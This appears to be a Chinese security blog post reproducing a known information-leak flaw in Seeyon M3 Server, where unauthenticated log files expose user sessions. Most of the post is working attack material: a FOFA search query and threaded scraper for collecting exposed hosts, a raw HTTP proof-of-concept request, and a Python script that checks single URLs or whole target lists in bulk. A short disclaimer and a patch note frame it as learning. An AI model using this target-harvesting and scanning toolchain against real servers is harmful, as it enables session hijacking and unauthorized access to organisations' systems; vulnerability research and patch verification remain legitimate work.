本文主要是介绍(1day)致远M3 log 敏感信息泄露漏洞(Session)复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.
免责声明
本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。
漏洞复现信息收集
fofa搜集
title="M3-Server"
fofa信息搜集脚本
# -*- coding: utf-8 -*-import requests
import base64
import time
from lxml import etree
import threadingdef fofa_search(search_data, page_data):# 必须要有cookieheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0','Cookie': '' # 填入自己的cookie}lock = threading.Lock() # 创建线程锁def process_page(page):url = 'https://fofa.info/result?qbase64='search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'# print(urls) # 打印请求的URLtry:retry_count = 3while retry_count > 0:try:result = requests.get(url=urls, headers=headers, timeout=10).textbreak # 请求成功,跳出重试循环except requests.RequestException as e:print("请求发生异常:", e)retry_count -= 1if retry_count == 0:print("请求重试次数已达上限,放弃请求")return # 放弃当前页面的处理print("正在提取第" + str(page) + "页")# print(result)soup = etree.HTML(result, etree.HTMLParser()) # 初始化生成一个XPath解析对象ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')print(ipaddr)ipaddr = '\n'.join(ipaddr)print(ipaddr)with lock: # 使用线程锁保证写入文件的互斥性with open(r'url.txt', 'a+') as f:print("写入文件中")# f.write('页面:'+str(page)+'\n'+ipdata + '\n')f.write(ipaddr + '\n')f.close()time.sleep(0.5) # 防止速度过快导致部分数据被略过except Exception as e:print("异常:", e)max_threads = 2 # 设置最大线程数量为2,超过2会导致页面爬取内容为空threads = []for page in range(1, page_data + 1):while len(threads) >= max_threads:# 等待当前线程数量降到允许的最大值以下time.sleep(1)threads = [t for t in threads if t.is_alive()]t = threading.Thread(target=process_page, args=(page,))threads.append(t)t.start()for t in threads:t.join()print("*********数据提取完成*********")if __name__ == '__main__':# fofa语句, 采集页面数fofa_search('title="M3-Server"', 20)
一、漏洞简述
M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。
其以下接口存在信息泄露
/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log
存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。
二、漏洞检测poc
GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
三、漏洞检测脚本
渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:
poc验证脚本:
poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py
import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def read_file(file_path):with open(file_path, 'r') as file:urls = file.read().splitlines()return urlsdef check(url):url = url.rstrip("/")info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",}for path in info_paths:target = urljoin(url, path)try:response = requests.get(target, verify=False, headers=headers, timeout=15)if response.status_code == 200 and 'INFO' in response.text:print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")return Trueexcept Exception as e:passif __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="URL")parser.add_argument("-f", "--txt", help="file")args = parser.parse_args()url = args.urltxt = args.txtif url:check(url)elif txt:urls = read_file(txt)for url in urls:check(url)else:print("help")
单个url检测漏洞:
python SeeYonM3_log_InfoLeakage.py -u url
批量检测:
python SeeYonM3_log_InfoLeakage.py -f url.txt
四、修复
官方已更新补丁,请升级至最新版本。
官网地址:https://www.seeyon.com/
这篇关于(1day)致远M3 log 敏感信息泄露漏洞(Session)复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!